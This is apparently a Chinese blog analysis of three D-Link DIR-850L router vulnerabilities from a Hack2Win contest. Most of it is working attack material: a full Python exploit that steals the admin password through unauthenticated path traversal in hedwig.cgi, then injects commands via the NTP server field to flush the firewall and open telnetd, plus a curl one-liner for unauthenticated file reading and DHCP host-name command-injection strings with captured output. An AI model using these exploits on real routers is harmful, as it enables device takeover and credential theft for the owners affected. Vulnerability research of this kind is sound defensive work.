前言
D-Link(友讯网络)是一家生产网络硬件和软件产品的企业,主要产品有交换机、无线产品、宽带产品、网卡、路由器、网络摄像机和网络安全产品(防火墙)等。
今年六月,网上举办了一场针对 D-Link 路由器的 Hack2Win 黑客竞赛,举办方在公网上提供 D-Link 850L 路由器作为攻击目标,竞赛持续了两个月,最终确定了3个漏洞:
- Remote Command Execution via WAN and LAN
- Remote Unauthenticated Information Disclosure via WAN and LAN
- Unauthorized Remote Code Execution as root via LAN
下面是对漏洞的简要分析
漏洞一
正常情况下,当用户在D-Link路由器中修改设置时,设置将会以XML格式发送到hedwig.cgi,hedwig.cgi接收到XML格式的设置请求后,调用fatlady.php用于对设置进行验证,然后再对pigwidgeon.cgi进行请求,pigwidgeon.cgi用来应用新设置,如果新的设置是有效的,则对设置的服务进行重启。
fatlady.php 文件内的 $service 变量直接从接收到的 XML 中获取,所以通过控制请求 XML 中的 service 就可以加载任何带有 .php 拓展的文件,比如,控制 $target 变量指向 /htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 文件即可读取用户的用户名密码。
由于 $target 变量会在 $service 前后拼接路径和后缀,所以在上传 XML 数据时需要将 service 指向的文件路径前加上 ../../../,最终传入路由器的XML如下:
hedwig.cgi 在接收 XML 数据时未进行身份验证,所以无需认证便可以请求 hedwig.cgi 和 pigwidgeon.cgi。
将 XML 数据发送到 hedwig.cgi,设置请求中的 Content-Type 为 text/xml,成功获取路由器的管理用户名密码,如下图所示:
得到用户名密码后成功登陆,如下图:
登陆到管理页面以后,可以通过 NTP 服务器进行 shell 命令注入
根据代码得知,要成功注入命令,需要设置 $enable 和 $enablev6 为 1,所以 XML 内容如下:
设置 $enable 和 $enablev6 为 1,在 server 中设置要执行的命令:配置防火墙并在 12345 端口启动一个 telnetd 服务。构造好 XML后 POST 到 hedwig.cgi,成功后返回结果会显示 OK,如下图所示:
此时通过 telnet 探测目标路由器的 12345 端口是关闭状态。
通过 pigwidgeon.cgi 使设置生效,设置生效的同时命令也被执行了。
再使用 telnet 探测目标端口,发现目标端口成功开放。
漏洞POC(Python3)
# pylint: disable=C0103
#
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests
try:
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
pass
TARGET = sys.argv[1]
COMMAND = ";".join([
"iptables -F",
"iptables -X",
"iptables -t nat -F",
"iptables -t nat -X",
"iptables -t mangle -F",
"iptables -t mangle -X",
"iptables -P INPUT ACCEPT",
"iptables -P FORWARD ACCEPT",
"iptables -P OUTPUT ACCEPT",
"telnetd -p 23090 -l /bin/date" # port 'Z2'
])
session = requests.Session()
session.verify = False
############################################################
print("Get password...")
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)
# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
# : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]
admin_pasw = ""
tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
name = acc.findtext("name", "")
pasw = acc.findtext("password", "")
print("name:", name)
print("pass:", pasw)
if name == "Admin":
admin_pasw = pasw
if not admin_pasw:
print("Admin password not found!")
sys.exit()
############################################################
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("uid:", resp["uid"])
print("challenge:", resp["challenge"])
session.cookies.update({"uid": resp["uid"]})
print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw
data = {
"id": user_name,
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"
############################################################
print("hedwig")
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
漏洞二
D-Link 还存在任意文件读取漏洞。通过设置 $AUTHORIZED_GROUP 全局变量可以绕过安全检查,读取文件。
漏洞POC
$ curl -d "SERVICES=DEVICE.ACCOUNT&x=y%0aAUTHORIZED_GROUP=1" "http://IP/getcfg.php"
漏洞三
这个漏洞由于需要内网环境,我没有相关的设备,所以这个漏洞并没有进行复现,这里只做简单说明。
受影响的 D-Link 路由器会以 root 用户身份运行 dnsmasq 守护进程,守护进程在为客户端分配 IP 时,会加载 "host-name" 参数,如果主机名被设置为命令,则会被执行。
攻击者需要更改自己 DHCP 客户端的主机名,以 Linux 为例,编辑 /etc/dhcp/dhclient.conf ,将主机名字段更该为要执行的命令。
下面的 DHCP 请求会在路由器上执行 ping 命令
send host-name = ";ping 192.168.0.100";
命令执行过程可以通过使用 WireShark 等嗅探工具查看。
下面的请求可以获取服务器部分信息
send host-name = ";for i in `ls /`; do ping $i;done";
此时嗅探网络数据包会得到如下内容:
17:41:42.963917 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.955685 IP 192.168.1.100.37895 > 192.168.1.1.53: 2+ AAAA? www. (21)
17:41:44.955754 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.956251 IP 192.168.1.100.51733 > 192.168.1.1.53: 3+ AAAA? www. (21)
17:41:44.956282 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.956797 IP 192.168.1.100.52958 > 192.168.1.1.53: 4+ AAAA? www. (21)
17:41:44.956821 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.957639 IP 192.168.1.100.49007 > 192.168.1.1.53: 5+ A? www. (21)
17:41:44.957660 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.958327 IP 192.168.1.100.42641 > 192.168.1.1.53: 6+ A? www. (21)
17:41:44.958351 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.958837 IP 192.168.1.100.36077 > 192.168.1.1.53: 7+ A? www. (21)
17:41:44.958857 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.965678 IP 192.168.1.100.49884 > 192.168.1.1.53: 2+ AAAA? var. (21)
17:41:44.965704 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.969792 IP 192.168.1.100.53144 > 192.168.1.1.53: 3+ AAAA? var. (21)
17:41:44.969820 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.970305 IP 192.168.1.100.32949 > 192.168.1.1.53: 4+ AAAA? var. (21)
17:41:44.970326 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.970971 IP 192.168.1.100.48094 > 192.168.1.1.53: 5+ A? var. (21)
17:41:44.970993 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.971505 IP 192.168.1.100.52246 > 192.168.1.1.53: 6+ A? var. (21)
17:41:44.971516 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.972015 IP 192.168.1.100.41323 > 192.168.1.1.53: 7+ A? var. (21)
17:41:44.972036 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.974624 IP 192.168.1.100.50795 > 192.168.1.1.53: 2+ AAAA? usr. (21)
17:41:44.974653 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.975316 IP 192.168.1.100.38359 > 192.168.1.1.53: 3+ AAAA? usr. (21)
17:41:44.975337 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.975827 IP 192.168.1.100.55240 > 192.168.1.1.53: 4+ AAAA? usr. (21)
17:41:44.975848 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.976660 IP 192.168.1.100.44499 > 192.168.1.1.53: 5+ A? usr. (21)
17:41:44.976668 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.979721 IP 192.168.1.100.57446 > 192.168.1.1.53: 6+ A? usr. (21)
17:41:44.979748 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.980401 IP 192.168.1.100.35172 > 192.168.1.1.53: 7+ A? usr. (21)
17:41:44.980422 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.983041 IP 192.168.1.100.60090 > 192.168.1.1.53: 2+ AAAA? tmp. (21)
参考
作者: JenI 转载请注明出处,谢谢
Comments !